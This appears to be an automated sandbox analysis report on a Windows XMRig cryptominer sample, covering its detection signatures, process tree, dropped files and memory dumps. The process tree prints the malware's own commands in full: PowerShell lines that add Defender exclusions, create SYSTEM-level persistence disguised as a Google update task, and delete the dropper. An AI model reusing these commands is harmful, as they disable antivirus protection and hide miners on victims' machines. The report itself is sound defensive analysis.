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24/01/2024, 17:15

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Analysis

  • max time kernel
    1799s
  • max time network
    1783s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1888
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4320
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4412
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4988
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1388
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4492
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3936
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:3456
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:1708
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:968
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4672

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 620KB
                • SHA256 125749c3c16cbfbba13b3affecc6238879d8c45a5a0449afb243392eeb77461f
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 202KB
                • SHA256 35c53d0730b71b926b7633c9251a54040278442509ec186574ead0839e1ce166
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 c660f0db85a1e7f0f68db19868979bf50bd541531babf77a701e1b1ce5e6a391
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_lqdwegir.yfh.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqdwegir.yfh.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/968-118-0x00007FF773890000-0x00007FF773AA1000-memory.dmp

                memory/968-51-0x00007FF773890000-0x00007FF773AA1000-memory.dmp

                memory/1364-73-0x00000280A1180000-0x00000280A119C000-memory.dmp

                memory/1364-84-0x000002809ECE0000-0x000002809ECF0000-memory.dmp

                memory/1364-83-0x00000280A1400000-0x00000280A140A000-memory.dmp

                memory/1364-81-0x00000280A13C0000-0x00000280A13C8000-memory.dmp

                memory/1364-80-0x00000280A1410000-0x00000280A142A000-memory.dmp

                memory/1364-79-0x00000280A13B0000-0x00000280A13BA000-memory.dmp

                memory/1364-82-0x00000280A13F0000-0x00000280A13F6000-memory.dmp

                memory/1364-78-0x00000280A13D0000-0x00000280A13EC000-memory.dmp

                memory/1364-77-0x00000280A1260000-0x00000280A126A000-memory.dmp

                memory/1364-87-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/1364-61-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/1364-63-0x000002809ECE0000-0x000002809ECF0000-memory.dmp

                memory/1364-62-0x000002809ECE0000-0x000002809ECF0000-memory.dmp

                memory/1364-76-0x00000280A11A0000-0x00000280A1255000-memory.dmp

                memory/1364-75-0x000002809ECE0000-0x000002809ECF0000-memory.dmp

                memory/1364-74-0x00007FF42E1F0000-0x00007FF42E200000-memory.dmp

                memory/1388-111-0x00000249A9760000-0x00000249A9770000-memory.dmp

                memory/1388-112-0x00000249A9760000-0x00000249A9770000-memory.dmp

                memory/1388-101-0x00000249A9760000-0x00000249A9770000-memory.dmp

                memory/1388-100-0x00000249A9760000-0x00000249A9770000-memory.dmp

                memory/1388-99-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/1388-114-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/1708-132-0x00007FF72E720000-0x00007FF72E736000-memory.dmp

                memory/1708-125-0x00007FF72E720000-0x00007FF72E736000-memory.dmp

                memory/1888-0-0x00007FF65FC80000-0x00007FF65FE91000-memory.dmp

                memory/1888-34-0x00007FF65FC80000-0x00007FF65FE91000-memory.dmp

                memory/3444-11-0x00007FF89C2A0000-0x00007FF89CD61000-memory.dmp

                memory/3444-15-0x00007FF89C2A0000-0x00007FF89CD61000-memory.dmp

                memory/3444-12-0x000001AD6DD60000-0x000001AD6DD70000-memory.dmp

                memory/3444-6-0x000001AD55850000-0x000001AD55872000-memory.dmp

                memory/3936-130-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-143-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-187-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-185-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-183-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-119-0x00000273B5DB0000-0x00000273B5DD0000-memory.dmp

                memory/3936-181-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-179-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-120-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-124-0x00000273B62C0000-0x00000273B62E0000-memory.dmp

                memory/3936-177-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-126-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-127-0x00000273B62E0000-0x00000273B6300000-memory.dmp

                memory/3936-128-0x00000273B6300000-0x00000273B6320000-memory.dmp

                memory/3936-175-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-131-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-173-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-133-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-134-0x00000273B62E0000-0x00000273B6300000-memory.dmp

                memory/3936-135-0x00000273B6300000-0x00000273B6320000-memory.dmp

                memory/3936-137-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-139-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-141-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-171-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-145-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-147-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-149-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-151-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-153-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-155-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-157-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-159-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-161-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-163-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-165-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-167-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/3936-169-0x00007FF7C0EE0000-0x00007FF7C16D4000-memory.dmp

                memory/4320-17-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/4320-32-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/4320-30-0x000002855B420000-0x000002855B430000-memory.dmp

                memory/4320-24-0x000002855B420000-0x000002855B430000-memory.dmp

                memory/4320-23-0x000002855B420000-0x000002855B430000-memory.dmp

                memory/4988-46-0x00000223FFC40000-0x00000223FFC50000-memory.dmp

                memory/4988-50-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp

                memory/4988-47-0x00000223FFC40000-0x00000223FFC50000-memory.dmp

                memory/4988-45-0x00007FF89C3C0000-0x00007FF89CE81000-memory.dmp